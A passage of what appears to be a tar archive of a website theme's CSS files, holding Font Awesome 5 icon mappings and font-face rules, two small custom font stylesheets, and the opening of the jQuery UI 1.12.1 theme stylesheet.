{ content: "\f3cb"; } .fa-mixcloud:before { content: "\f289"; } .fa-mizuni:before { content: "\f3cc"; } .fa-mobile:before { content: "\f10b"; } .fa-mobile-alt:before { content: "\f3cd"; } .fa-modx:before { content: "\f285"; } .fa-monero:before { content: "\f3d0"; } .fa-money-bill:before { content: "\f0d6"; } .fa-money-bill-alt:before { content: "\f3d1"; } .fa-money-bill-wave:before { content: "\f53a"; } .fa-money-bill-wave-alt:before { content: "\f53b"; } .fa-money-check:before { content: "\f53c"; } .fa-money-check-alt:before { content: "\f53d"; } .fa-monument:before { content: "\f5a6"; } .fa-moon:before { content: "\f186"; } .fa-mortar-pestle:before { content: "\f5a7"; } .fa-mosque:before { content: "\f678"; } .fa-motorcycle:before { content: "\f21c"; } .fa-mountain:before { content: "\f6fc"; } .fa-mouse-pointer:before { content: "\f245"; } .fa-mug-hot:before { content: "\f7b6"; } .fa-music:before { content: "\f001"; } .fa-napster:before { content: "\f3d2"; } .fa-neos:before { content: "\f612"; } .fa-network-wired:before { content: "\f6ff"; } .fa-neuter:before { content: "\f22c"; } .fa-newspaper:before { content: "\f1ea"; } .fa-nimblr:before { content: "\f5a8"; } .fa-node:before { content: "\f419"; } .fa-node-js:before { content: "\f3d3"; } .fa-not-equal:before { content: "\f53e"; } .fa-notes-medical:before { content: "\f481"; } .fa-npm:before { content: "\f3d4"; } .fa-ns8:before { content: "\f3d5"; } .fa-nutritionix:before { content: "\f3d6"; } .fa-object-group:before { content: "\f247"; } .fa-object-ungroup:before { content: "\f248"; } .fa-odnoklassniki:before { content: "\f263"; } .fa-odnoklassniki-square:before { content: "\f264"; } .fa-oil-can:before { content: "\f613"; } .fa-old-republic:before { content: "\f510"; } .fa-om:before { content: "\f679"; } .fa-opencart:before { content: "\f23d"; } .fa-openid:before { content: "\f19b"; } .fa-opera:before { content: "\f26a"; } .fa-optin-monster:before { content: "\f23c"; } .fa-osi:before { content: "\f41a"; } .fa-otter:before { content: "\f700"; } .fa-outdent:before { content: "\f03b"; } .fa-page4:before { content: "\f3d7"; } .fa-pagelines:before { content: "\f18c"; } .fa-pager:before { content: "\f815"; } .fa-paint-brush:before { content: "\f1fc"; } .fa-paint-roller:before { content: "\f5aa"; } .fa-palette:before { content: "\f53f"; } .fa-palfed:before { content: "\f3d8"; } .fa-pallet:before { content: "\f482"; } .fa-paper-plane:before { content: "\f1d8"; } .fa-paperclip:before { content: "\f0c6"; } .fa-parachute-box:before { content: "\f4cd"; } .fa-paragraph:before { content: "\f1dd"; } .fa-parking:before { content: "\f540"; } .fa-passport:before { content: "\f5ab"; } .fa-pastafarianism:before { content: "\f67b"; } .fa-paste:before { content: "\f0ea"; } .fa-patreon:before { content: "\f3d9"; } .fa-pause:before { content: "\f04c"; } .fa-pause-circle:before { content: "\f28b"; } .fa-paw:before { content: "\f1b0"; } .fa-paypal:before { content: "\f1ed"; } .fa-peace:before { content: "\f67c"; } .fa-pen:before { content: "\f304"; } .fa-pen-alt:before { content: "\f305"; } .fa-pen-fancy:before { content: "\f5ac"; } .fa-pen-nib:before { content: "\f5ad"; } .fa-pen-square:before { content: "\f14b"; } .fa-pencil-alt:before { content: "\f303"; } .fa-pencil-ruler:before { content: "\f5ae"; } .fa-penny-arcade:before { content: "\f704"; } .fa-people-carry:before { content: "\f4ce"; } .fa-pepper-hot:before { content: "\f816"; } .fa-percent:before { content: "\f295"; } .fa-percentage:before { content: "\f541"; } .fa-periscope:before { content: "\f3da"; } .fa-person-booth:before { content: "\f756"; } .fa-phabricator:before { content: "\f3db"; } .fa-phoenix-framework:before { content: "\f3dc"; } .fa-phoenix-squadron:before { content: "\f511"; } .fa-phone:before { content: "\f095"; } .fa-phone-alt:before { content: "\f879"; } .fa-phone-slash:before { content: "\f3dd"; } .fa-phone-square:before { content: "\f098"; } .fa-phone-square-alt:before { content: "\f87b"; } .fa-phone-volume:before { content: "\f2a0"; } .fa-photo-video:before { content: "\f87c"; } .fa-php:before { content: "\f457"; } .fa-pied-piper:before { content: "\f2ae"; } .fa-pied-piper-alt:before { content: "\f1a8"; } .fa-pied-piper-hat:before { content: "\f4e5"; } .fa-pied-piper-pp:before { content: "\f1a7"; } .fa-piggy-bank:before { content: "\f4d3"; } .fa-pills:before { content: "\f484"; } .fa-pinterest:before { content: "\f0d2"; } .fa-pinterest-p:before { content: "\f231"; } .fa-pinterest-square:before { content: "\f0d3"; } .fa-pizza-slice:before { content: "\f818"; } .fa-place-of-worship:before { content: "\f67f"; } .fa-plane:before { content: "\f072"; } .fa-plane-arrival:before { content: "\f5af"; } .fa-plane-departure:before { content: "\f5b0"; } .fa-play:before { content: "\f04b"; } .fa-play-circle:before { content: "\f144"; } .fa-playstation:before { content: "\f3df"; } .fa-plug:before { content: "\f1e6"; } .fa-plus:before { content: "\f067"; } .fa-plus-circle:before { content: "\f055"; } .fa-plus-square:before { content: "\f0fe"; } .fa-podcast:before { content: "\f2ce"; } .fa-poll:before { content: "\f681"; } .fa-poll-h:before { content: "\f682"; } .fa-poo:before { content: "\f2fe"; } .fa-poo-storm:before { content: "\f75a"; } .fa-poop:before { content: "\f619"; } .fa-portrait:before { content: "\f3e0"; } .fa-pound-sign:before { content: "\f154"; } .fa-power-off:before { content: "\f011"; } .fa-pray:before { content: "\f683"; } .fa-praying-hands:before { content: "\f684"; } .fa-prescription:before { content: "\f5b1"; } .fa-prescription-bottle:before { content: "\f485"; } .fa-prescription-bottle-alt:before { content: "\f486"; } .fa-print:before { content: "\f02f"; } .fa-procedures:before { content: "\f487"; } .fa-product-hunt:before { content: "\f288"; } .fa-project-diagram:before { content: "\f542"; } .fa-pushed:before { content: "\f3e1"; } .fa-puzzle-piece:before { content: "\f12e"; } .fa-python:before { content: "\f3e2"; } .fa-qq:before { content: "\f1d6"; } .fa-qrcode:before { content: "\f029"; } .fa-question:before { content: "\f128"; } .fa-question-circle:before { content: "\f059"; } .fa-quidditch:before { content: "\f458"; } .fa-quinscape:before { content: "\f459"; } .fa-quora:before { content: "\f2c4"; } .fa-quote-left:before { content: "\f10d"; } .fa-quote-right:before { content: "\f10e"; } .fa-quran:before { content: "\f687"; } .fa-r-project:before { content: "\f4f7"; } .fa-radiation:before { content: "\f7b9"; } .fa-radiation-alt:before { content: "\f7ba"; } .fa-rainbow:before { content: "\f75b"; } .fa-random:before { content: "\f074"; } .fa-raspberry-pi:before { content: "\f7bb"; } .fa-ravelry:before { content: "\f2d9"; } .fa-react:before { content: "\f41b"; } .fa-reacteurope:before { content: "\f75d"; } .fa-readme:before { content: "\f4d5"; } .fa-rebel:before { content: "\f1d0"; } .fa-receipt:before { content: "\f543"; } .fa-recycle:before { content: "\f1b8"; } .fa-red-river:before { content: "\f3e3"; } .fa-reddit:before { content: "\f1a1"; } .fa-reddit-alien:before { content: "\f281"; } .fa-reddit-square:before { content: "\f1a2"; } .fa-redhat:before { content: "\f7bc"; } .fa-redo:before { content: "\f01e"; } .fa-redo-alt:before { content: "\f2f9"; } .fa-registered:before { content: "\f25d"; } .fa-remove-format:before { content: "\f87d"; } .fa-renren:before { content: "\f18b"; } .fa-reply:before { content: "\f3e5"; } .fa-reply-all:before { content: "\f122"; } .fa-replyd:before { content: "\f3e6"; } .fa-republican:before { content: "\f75e"; } .fa-researchgate:before { content: "\f4f8"; } .fa-resolving:before { content: "\f3e7"; } .fa-restroom:before { content: "\f7bd"; } .fa-retweet:before { content: "\f079"; } .fa-rev:before { content: "\f5b2"; } .fa-ribbon:before { content: "\f4d6"; } .fa-ring:before { content: "\f70b"; } .fa-road:before { content: "\f018"; } .fa-robot:before { content: "\f544"; } .fa-rocket:before { content: "\f135"; } .fa-rocketchat:before { content: "\f3e8"; } .fa-rockrms:before { content: "\f3e9"; } .fa-route:before { content: "\f4d7"; } .fa-rss:before { content: "\f09e"; } .fa-rss-square:before { content: "\f143"; } .fa-ruble-sign:before { content: "\f158"; } .fa-ruler:before { content: "\f545"; } .fa-ruler-combined:before { content: "\f546"; } .fa-ruler-horizontal:before { content: "\f547"; } .fa-ruler-vertical:before { content: "\f548"; } .fa-running:before { content: "\f70c"; } .fa-rupee-sign:before { content: "\f156"; } .fa-sad-cry:before { content: "\f5b3"; } .fa-sad-tear:before { content: "\f5b4"; } .fa-safari:before { content: "\f267"; } .fa-salesforce:before { content: "\f83b"; } .fa-sass:before { content: "\f41e"; } .fa-satellite:before { content: "\f7bf"; } .fa-satellite-dish:before { content: "\f7c0"; } .fa-save:before { content: "\f0c7"; } .fa-schlix:before { content: "\f3ea"; } .fa-school:before { content: "\f549"; } .fa-screwdriver:before { content: "\f54a"; } .fa-scribd:before { content: "\f28a"; } .fa-scroll:before { content: "\f70e"; } .fa-sd-card:before { content: "\f7c2"; } .fa-search:before { content: "\f002"; } .fa-search-dollar:before { content: "\f688"; } .fa-search-location:before { content: "\f689"; } .fa-search-minus:before { content: "\f010"; } .fa-search-plus:before { content: "\f00e"; } .fa-searchengin:before { content: "\f3eb"; } .fa-seedling:before { content: "\f4d8"; } .fa-sellcast:before { content: "\f2da"; } .fa-sellsy:before { content: "\f213"; } .fa-server:before { content: "\f233"; } .fa-servicestack:before { content: "\f3ec"; } .fa-shapes:before { content: "\f61f"; } .fa-share:before { content: "\f064"; } .fa-share-alt:before { content: "\f1e0"; } .fa-share-alt-square:before { content: "\f1e1"; } .fa-share-square:before { content: "\f14d"; } .fa-shekel-sign:before { content: "\f20b"; } .fa-shield-alt:before { content: "\f3ed"; } .fa-ship:before { content: "\f21a"; } .fa-shipping-fast:before { content: "\f48b"; } .fa-shirtsinbulk:before { content: "\f214"; } .fa-shoe-prints:before { content: "\f54b"; } .fa-shopping-bag:before { content: "\f290"; } .fa-shopping-basket:before { content: "\f291"; } .fa-shopping-cart:before { content: "\f07a"; } .fa-shopware:before { content: "\f5b5"; } .fa-shower:before { content: "\f2cc"; } .fa-shuttle-van:before { content: "\f5b6"; } .fa-sign:before { content: "\f4d9"; } .fa-sign-in-alt:before { content: "\f2f6"; } .fa-sign-language:before { content: "\f2a7"; } .fa-sign-out-alt:before { content: "\f2f5"; } .fa-signal:before { content: "\f012"; } .fa-signature:before { content: "\f5b7"; } .fa-sim-card:before { content: "\f7c4"; } .fa-simplybuilt:before { content: "\f215"; } .fa-sistrix:before { content: "\f3ee"; } .fa-sitemap:before { content: "\f0e8"; } .fa-sith:before { content: "\f512"; } .fa-skating:before { content: "\f7c5"; } .fa-sketch:before { content: "\f7c6"; } .fa-skiing:before { content: "\f7c9"; } .fa-skiing-nordic:before { content: "\f7ca"; } .fa-skull:before { content: "\f54c"; } .fa-skull-crossbones:before { content: "\f714"; } .fa-skyatlas:before { content: "\f216"; } .fa-skype:before { content: "\f17e"; } .fa-slack:before { content: "\f198"; } .fa-slack-hash:before { content: "\f3ef"; } .fa-slash:before { content: "\f715"; } .fa-sleigh:before { content: "\f7cc"; } .fa-sliders-h:before { content: "\f1de"; } .fa-slideshare:before { content: "\f1e7"; } .fa-smile:before { content: "\f118"; } .fa-smile-beam:before { content: "\f5b8"; } .fa-smile-wink:before { content: "\f4da"; } .fa-smog:before { content: "\f75f"; } .fa-smoking:before { content: "\f48d"; } .fa-smoking-ban:before { content: "\f54d"; } .fa-sms:before { content: "\f7cd"; } .fa-snapchat:before { content: "\f2ab"; } .fa-snapchat-ghost:before { content: "\f2ac"; } .fa-snapchat-square:before { content: "\f2ad"; } .fa-snowboarding:before { content: "\f7ce"; } .fa-snowflake:before { content: "\f2dc"; } .fa-snowman:before { content: "\f7d0"; } .fa-snowplow:before { content: "\f7d2"; } .fa-socks:before { content: "\f696"; } .fa-solar-panel:before { content: "\f5ba"; } .fa-sort:before { content: "\f0dc"; } .fa-sort-alpha-down:before { content: "\f15d"; } .fa-sort-alpha-down-alt:before { content: "\f881"; } .fa-sort-alpha-up:before { content: "\f15e"; } .fa-sort-alpha-up-alt:before { content: "\f882"; } .fa-sort-amount-down:before { content: "\f160"; } .fa-sort-amount-down-alt:before { content: "\f884"; } .fa-sort-amount-up:before { content: "\f161"; } .fa-sort-amount-up-alt:before { content: "\f885"; } .fa-sort-down:before { content: "\f0dd"; } .fa-sort-numeric-down:before { content: "\f162"; } .fa-sort-numeric-down-alt:before { content: "\f886"; } .fa-sort-numeric-up:before { content: "\f163"; } .fa-sort-numeric-up-alt:before { content: "\f887"; } .fa-sort-up:before { content: "\f0de"; } .fa-soundcloud:before { content: "\f1be"; } .fa-sourcetree:before { content: "\f7d3"; } .fa-spa:before { content: "\f5bb"; } .fa-space-shuttle:before { content: "\f197"; } .fa-speakap:before { content: "\f3f3"; } .fa-speaker-deck:before { content: "\f83c"; } .fa-spell-check:before { content: "\f891"; } .fa-spider:before { content: "\f717"; } .fa-spinner:before { content: "\f110"; } .fa-splotch:before { content: "\f5bc"; } .fa-spotify:before { content: "\f1bc"; } .fa-spray-can:before { content: "\f5bd"; } .fa-square:before { content: "\f0c8"; } .fa-square-full:before { content: "\f45c"; } .fa-square-root-alt:before { content: "\f698"; } .fa-squarespace:before { content: "\f5be"; } .fa-stack-exchange:before { content: "\f18d"; } .fa-stack-overflow:before { content: "\f16c"; } .fa-stackpath:before { content: "\f842"; } .fa-stamp:before { content: "\f5bf"; } .fa-star:before { content: "\f005"; } .fa-star-and-crescent:before { content: "\f699"; } .fa-star-half:before { content: "\f089"; } .fa-star-half-alt:before { content: "\f5c0"; } .fa-star-of-david:before { content: "\f69a"; } .fa-star-of-life:before { content: "\f621"; } .fa-staylinked:before { content: "\f3f5"; } .fa-steam:before { content: "\f1b6"; } .fa-steam-square:before { content: "\f1b7"; } .fa-steam-symbol:before { content: "\f3f6"; } .fa-step-backward:before { content: "\f048"; } .fa-step-forward:before { content: "\f051"; } .fa-stethoscope:before { content: "\f0f1"; } .fa-sticker-mule:before { content: "\f3f7"; } .fa-sticky-note:before { content: "\f249"; } .fa-stop:before { content: "\f04d"; } .fa-stop-circle:before { content: "\f28d"; } .fa-stopwatch:before { content: "\f2f2"; } .fa-store:before { content: "\f54e"; } .fa-store-alt:before { content: "\f54f"; } .fa-strava:before { content: "\f428"; } .fa-stream:before { content: "\f550"; } .fa-street-view:before { content: "\f21d"; } .fa-strikethrough:before { content: "\f0cc"; } .fa-stripe:before { content: "\f429"; } .fa-stripe-s:before { content: "\f42a"; } .fa-stroopwafel:before { content: "\f551"; } .fa-studiovinari:before { content: "\f3f8"; } .fa-stumbleupon:before { content: "\f1a4"; } .fa-stumbleupon-circle:before { content: "\f1a3"; } .fa-subscript:before { content: "\f12c"; } .fa-subway:before { content: "\f239"; } .fa-suitcase:before { content: "\f0f2"; } .fa-suitcase-rolling:before { content: "\f5c1"; } .fa-sun:before { content: "\f185"; } .fa-superpowers:before { content: "\f2dd"; } .fa-superscript:before { content: "\f12b"; } .fa-supple:before { content: "\f3f9"; } .fa-surprise:before { content: "\f5c2"; } .fa-suse:before { content: "\f7d6"; } .fa-swatchbook:before { content: "\f5c3"; } .fa-swimmer:before { content: "\f5c4"; } .fa-swimming-pool:before { content: "\f5c5"; } .fa-symfony:before { content: "\f83d"; } .fa-synagogue:before { content: "\f69b"; } .fa-sync:before { content: "\f021"; } .fa-sync-alt:before { content: "\f2f1"; } .fa-syringe:before { content: "\f48e"; } .fa-table:before { content: "\f0ce"; } .fa-table-tennis:before { content: "\f45d"; } .fa-tablet:before { content: "\f10a"; } .fa-tablet-alt:before { content: "\f3fa"; } .fa-tablets:before { content: "\f490"; } .fa-tachometer-alt:before { content: "\f3fd"; } .fa-tag:before { content: "\f02b"; } .fa-tags:before { content: "\f02c"; } .fa-tape:before { content: "\f4db"; } .fa-tasks:before { content: "\f0ae"; } .fa-taxi:before { content: "\f1ba"; } .fa-teamspeak:before { content: "\f4f9"; } .fa-teeth:before { content: "\f62e"; } .fa-teeth-open:before { content: "\f62f"; } .fa-telegram:before { content: "\f2c6"; } .fa-telegram-plane:before { content: "\f3fe"; } .fa-temperature-high:before { content: "\f769"; } .fa-temperature-low:before { content: "\f76b"; } .fa-tencent-weibo:before { content: "\f1d5"; } .fa-tenge:before { content: "\f7d7"; } .fa-terminal:before { content: "\f120"; } .fa-text-height:before { content: "\f034"; } .fa-text-width:before { content: "\f035"; } .fa-th:before { content: "\f00a"; } .fa-th-large:before { content: "\f009"; } .fa-th-list:before { content: "\f00b"; } .fa-the-red-yeti:before { content: "\f69d"; } .fa-theater-masks:before { content: "\f630"; } .fa-themeco:before { content: "\f5c6"; } .fa-themeisle:before { content: "\f2b2"; } .fa-thermometer:before { content: "\f491"; } .fa-thermometer-empty:before { content: "\f2cb"; } .fa-thermometer-full:before { content: "\f2c7"; } .fa-thermometer-half:before { content: "\f2c9"; } .fa-thermometer-quarter:before { content: "\f2ca"; } .fa-thermometer-three-quarters:before { content: "\f2c8"; } .fa-think-peaks:before { content: "\f731"; } .fa-thumbs-down:before { content: "\f165"; } .fa-thumbs-up:before { content: "\f164"; } .fa-thumbtack:before { content: "\f08d"; } .fa-ticket-alt:before { content: "\f3ff"; } .fa-times:before { content: "\f00d"; } .fa-times-circle:before { content: "\f057"; } .fa-tint:before { content: "\f043"; } .fa-tint-slash:before { content: "\f5c7"; } .fa-tired:before { content: "\f5c8"; } .fa-toggle-off:before { content: "\f204"; } .fa-toggle-on:before { content: "\f205"; } .fa-toilet:before { content: "\f7d8"; } .fa-toilet-paper:before { content: "\f71e"; } .fa-toolbox:before { content: "\f552"; } .fa-tools:before { content: "\f7d9"; } .fa-tooth:before { content: "\f5c9"; } .fa-torah:before { content: "\f6a0"; } .fa-torii-gate:before { content: "\f6a1"; } .fa-tractor:before { content: "\f722"; } .fa-trade-federation:before { content: "\f513"; } .fa-trademark:before { content: "\f25c"; } .fa-traffic-light:before { content: "\f637"; } .fa-train:before { content: "\f238"; } .fa-tram:before { content: "\f7da"; } .fa-transgender:before { content: "\f224"; } .fa-transgender-alt:before { content: "\f225"; } .fa-trash:before { content: "\f1f8"; } .fa-trash-alt:before { content: "\f2ed"; } .fa-trash-restore:before { content: "\f829"; } .fa-trash-restore-alt:before { content: "\f82a"; } .fa-tree:before { content: "\f1bb"; } .fa-trello:before { content: "\f181"; } .fa-tripadvisor:before { content: "\f262"; } .fa-trophy:before { content: "\f091"; } .fa-truck:before { content: "\f0d1"; } .fa-truck-loading:before { content: "\f4de"; } .fa-truck-monster:before { content: "\f63b"; } .fa-truck-moving:before { content: "\f4df"; } .fa-truck-pickup:before { content: "\f63c"; } .fa-tshirt:before { content: "\f553"; } .fa-tty:before { content: "\f1e4"; } .fa-tumblr:before { content: "\f173"; } .fa-tumblr-square:before { content: "\f174"; } .fa-tv:before { content: "\f26c"; } .fa-twitch:before { content: "\f1e8"; } .fa-twitter:before { content: "\f099"; } .fa-twitter-square:before { content: "\f081"; } .fa-typo3:before { content: "\f42b"; } .fa-uber:before { content: "\f402"; } .fa-ubuntu:before { content: "\f7df"; } .fa-uikit:before { content: "\f403"; } .fa-umbrella:before { content: "\f0e9"; } .fa-umbrella-beach:before { content: "\f5ca"; } .fa-underline:before { content: "\f0cd"; } .fa-undo:before { content: "\f0e2"; } .fa-undo-alt:before { content: "\f2ea"; } .fa-uniregistry:before { content: "\f404"; } .fa-universal-access:before { content: "\f29a"; } .fa-university:before { content: "\f19c"; } .fa-unlink:before { content: "\f127"; } .fa-unlock:before { content: "\f09c"; } .fa-unlock-alt:before { content: "\f13e"; } .fa-untappd:before { content: "\f405"; } .fa-upload:before { content: "\f093"; } .fa-ups:before { content: "\f7e0"; } .fa-usb:before { content: "\f287"; } .fa-user:before { content: "\f007"; } .fa-user-alt:before { content: "\f406"; } .fa-user-alt-slash:before { content: "\f4fa"; } .fa-user-astronaut:before { content: "\f4fb"; } .fa-user-check:before { content: "\f4fc"; } .fa-user-circle:before { content: "\f2bd"; } .fa-user-clock:before { content: "\f4fd"; } .fa-user-cog:before { content: "\f4fe"; } .fa-user-edit:before { content: "\f4ff"; } .fa-user-friends:before { content: "\f500"; } .fa-user-graduate:before { content: "\f501"; } .fa-user-injured:before { content: "\f728"; } .fa-user-lock:before { content: "\f502"; } .fa-user-md:before { content: "\f0f0"; } .fa-user-minus:before { content: "\f503"; } .fa-user-ninja:before { content: "\f504"; } .fa-user-nurse:before { content: "\f82f"; } .fa-user-plus:before { content: "\f234"; } .fa-user-secret:before { content: "\f21b"; } .fa-user-shield:before { content: "\f505"; } .fa-user-slash:before { content: "\f506"; } .fa-user-tag:before { content: "\f507"; } .fa-user-tie:before { content: "\f508"; } .fa-user-times:before { content: "\f235"; } .fa-users:before { content: "\f0c0"; } .fa-users-cog:before { content: "\f509"; } .fa-usps:before { content: "\f7e1"; } .fa-ussunnah:before { content: "\f407"; } .fa-utensil-spoon:before { content: "\f2e5"; } .fa-utensils:before { content: "\f2e7"; } .fa-vaadin:before { content: "\f408"; } .fa-vector-square:before { content: "\f5cb"; } .fa-venus:before { content: "\f221"; } .fa-venus-double:before { content: "\f226"; } .fa-venus-mars:before { content: "\f228"; } .fa-viacoin:before { content: "\f237"; } .fa-viadeo:before { content: "\f2a9"; } .fa-viadeo-square:before { content: "\f2aa"; } .fa-vial:before { content: "\f492"; } .fa-vials:before { content: "\f493"; } .fa-viber:before { content: "\f409"; } .fa-video:before { content: "\f03d"; } .fa-video-slash:before { content: "\f4e2"; } .fa-vihara:before { content: "\f6a7"; } .fa-vimeo:before { content: "\f40a"; } .fa-vimeo-square:before { content: "\f194"; } .fa-vimeo-v:before { content: "\f27d"; } .fa-vine:before { content: "\f1ca"; } .fa-vk:before { content: "\f189"; } .fa-vnv:before { content: "\f40b"; } .fa-voicemail:before { content: "\f897"; } .fa-volleyball-ball:before { content: "\f45f"; } .fa-volume-down:before { content: "\f027"; } .fa-volume-mute:before { content: "\f6a9"; } .fa-volume-off:before { content: "\f026"; } .fa-volume-up:before { content: "\f028"; } .fa-vote-yea:before { content: "\f772"; } .fa-vr-cardboard:before { content: "\f729"; } .fa-vuejs:before { content: "\f41f"; } .fa-walking:before { content: "\f554"; } .fa-wallet:before { content: "\f555"; } .fa-warehouse:before { content: "\f494"; } .fa-water:before { content: "\f773"; } .fa-wave-square:before { content: "\f83e"; } .fa-waze:before { content: "\f83f"; } .fa-weebly:before { content: "\f5cc"; } .fa-weibo:before { content: "\f18a"; } .fa-weight:before { content: "\f496"; } .fa-weight-hanging:before { content: "\f5cd"; } .fa-weixin:before { content: "\f1d7"; } .fa-whatsapp:before { content: "\f232"; } .fa-whatsapp-square:before { content: "\f40c"; } .fa-wheelchair:before { content: "\f193"; } .fa-whmcs:before { content: "\f40d"; } .fa-wifi:before { content: "\f1eb"; } .fa-wikipedia-w:before { content: "\f266"; } .fa-wind:before { content: "\f72e"; } .fa-window-close:before { content: "\f410"; } .fa-window-maximize:before { content: "\f2d0"; } .fa-window-minimize:before { content: "\f2d1"; } .fa-window-restore:before { content: "\f2d2"; } .fa-windows:before { content: "\f17a"; } .fa-wine-bottle:before { content: "\f72f"; } .fa-wine-glass:before { content: "\f4e3"; } .fa-wine-glass-alt:before { content: "\f5ce"; } .fa-wix:before { content: "\f5cf"; } .fa-wizards-of-the-coast:before { content: "\f730"; } .fa-wolf-pack-battalion:before { content: "\f514"; } .fa-won-sign:before { content: "\f159"; } .fa-wordpress:before { content: "\f19a"; } .fa-wordpress-simple:before { content: "\f411"; } .fa-wpbeginner:before { content: "\f297"; } .fa-wpexplorer:before { content: "\f2de"; } .fa-wpforms:before { content: "\f298"; } .fa-wpressr:before { content: "\f3e4"; } .fa-wrench:before { content: "\f0ad"; } .fa-x-ray:before { content: "\f497"; } .fa-xbox:before { content: "\f412"; } .fa-xing:before { content: "\f168"; } .fa-xing-square:before { content: "\f169"; } .fa-y-combinator:before { content: "\f23b"; } .fa-yahoo:before { content: "\f19e"; } .fa-yammer:before { content: "\f840"; } .fa-yandex:before { content: "\f413"; } .fa-yandex-international:before { content: "\f414"; } .fa-yarn:before { content: "\f7e3"; } .fa-yelp:before { content: "\f1e9"; } .fa-yen-sign:before { content: "\f157"; } .fa-yin-yang:before { content: "\f6ad"; } .fa-yoast:before { content: "\f2b1"; } .fa-youtube:before { content: "\f167"; } .fa-youtube-square:before { content: "\f431"; } .fa-zhihu:before { content: "\f63f"; } .sr-only { border: 0; clip: rect(0, 0, 0, 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .sr-only-focusable:active, .sr-only-focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } @font-face { font-family: 'Font Awesome 5 Brands'; font-style: normal; font-weight: normal; font-display: auto; src: url("../fonts/fa-brands-400.eot"); src: url("../fonts/fa-brands-400.eot?#iefix") format("embedded-opentype"), url("../fonts/fa-brands-400.woff2") format("woff2"), url("../fonts/fa-brands-400.woff") format("woff"), url("../fonts/fa-brands-400.ttf") format("truetype"), url("../fonts/fa-brands-400.svg#fontawesome") format("svg"); } .fab { font-family: 'Font Awesome 5 Brands'; } @font-face { font-family: 'Font Awesome 5 Free'; font-style: normal; font-weight: 400; font-display: auto; src: url("../fonts/fa-regular-400.eot"); src: url("../fonts/fa-regular-400.eot?#iefix") format("embedded-opentype"), url("../fonts/fa-regular-400.woff2") format("woff2"), url("../fonts/fa-regular-400.woff") format("woff"), url("../fonts/fa-regular-400.ttf") format("truetype"), url("../fonts/fa-regular-400.svg#fontawesome") format("svg"); } .far { font-family: 'Font Awesome 5 Free'; font-weight: 400; } @font-face { font-family: 'Font Awesome 5 Free'; font-style: normal; font-weight: 900; font-display: auto; src: url("../fonts/fa-solid-900.eot"); src: url("../fonts/fa-solid-900.eot?#iefix") format("embedded-opentype"), url("../fonts/fa-solid-900.woff2") format("woff2"), url("../fonts/fa-solid-900.woff") format("woff"), url("../fonts/fa-solid-900.ttf") format("truetype"), url("../fonts/fa-solid-900.svg#fontawesome") format("svg"); } .fa, .fas { font-family: 'Font Awesome 5 Free'; font-weight: 900; } linoor-icons.css 0000644 00000001625 14704434233 0007701 0 ustar 00 @font-face { font-family: 'linoor-icon'; src: url('../fonts/linoor-icon.eot?vvmfoz'); src: url('../fonts/linoor-icon.eot?vvmfoz#iefix') format('embedded-opentype'), url('../fonts/linoor-icon.ttf?vvmfoz') format('truetype'), url('../fonts/linoor-icon.woff?vvmfoz') format('woff'), url('../fonts/linoor-icon.svg?vvmfoz#linoor-icon') format('svg'); font-weight: normal; font-style: normal; font-display: block; } [class^="linoor-icon-"], [class*=" linoor-icon-"] { /* use !important to prevent issues with browser extensions that change ../fonts */ font-family: 'linoor-icon' !important; speak: never; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .linoor-icon-dots-menu:before { content: "\e900"; } reey-font.css 0000644 00000000513 14704434233 0007171 0 ustar 00 /*! Generated by Font Squirrel (https://www.fontsquirrel.com) on January 28, 2021 */ @font-face { font-family: 'reeyregular'; src: url('../fonts/reey-regular-webfont.woff2') format('woff2'), url('../fonts/reey-regular-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } jquery-ui.css 0000644 00000110616 14704434233 0007221 0 ustar 00 x/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css * To view and modify this theme, visit http://jqueryui.com/themeroller/?ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&fwDefault=normal&cornerRadius=3px&bgColorHeader=e9e9e9&bgTextureHeader=flat&borderColorHeader=dddddd&fcHeader=333333&iconColorHeader=444444&bgColorContent=ffffff&bgTextureContent=flat&borderColorContent=dddddd&fcContent=333333&iconColorContent=444444&bgColorDefault=f6f6f6&bgTextureDefault=flat&borderColorDefault=c5c5c5&fcDefault=454545&iconColorDefault=777777&bgColorHover=ededed&bgTextureHover=flat&borderColorHover=cccccc&fcHover=2b2b2b&iconColorHover=555555&bgColorActive=007fff&bgTextureActive=flat&borderColorActive=003eff&fcActive=ffffff&iconColorActive=ffffff&bgColorHighlight=fffa90&bgTextureHighlight=flat&borderColorHighlight=dad55e&fcHighlight=777620&iconColorHighlight=777620&bgColorError=fddfdf&bgTextureError=flat&borderColorError=f1a899&fcError=5f3f3f&iconColorError=cc0000&bgColorOverlay=aaaaaa&bgTextureOverlay=flat&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=666666&bgTextureShadow=flat&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=5px&offsetTopShadow=0px&offsetLeftShadow=0px&cornerRadiusShadow=8px * Copyright jQuery Foundation and other contributors; Licensed MIT */ /* Layout helpers ----------------------------------*/ .ui-helper-hidden { display: none; } .ui-helper-hidden-accessible { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .ui-helper-reset { margin: 0; padding: 0; border: 0; outline: 0; line-height: 1.3; text-decoration: none; font-size: 100%; list-style: none; } .ui-helper-clearfix:before, .ui-helper-clearfix:after { content: ""; display: table; border-collapse: collapse; } .ui-helper-clearfix:after { clear: both; } .ui-helper-zfix { width: 100%; height: 100%; top: 0; left: 0; position: absolute; opacity: 0; filter:Alpha(Opacity=0); /* support: IE8 */ } .ui-front { z-index: 100; } /* Interaction Cues ----------------------------------*/ .ui-state-disabled { cursor: default !important; pointer-events: none; } /* Icons ----------------------------------*/ .ui-icon { display: inline-block; vertical-align: middle; margin-top: -.25em; position: relative; text-indent: -99999px; overflow: hidden; background-repeat: no-repeat; } .ui-widget-icon-block { left: 50%; margin-left: -8px; display: block; } /* Misc visuals 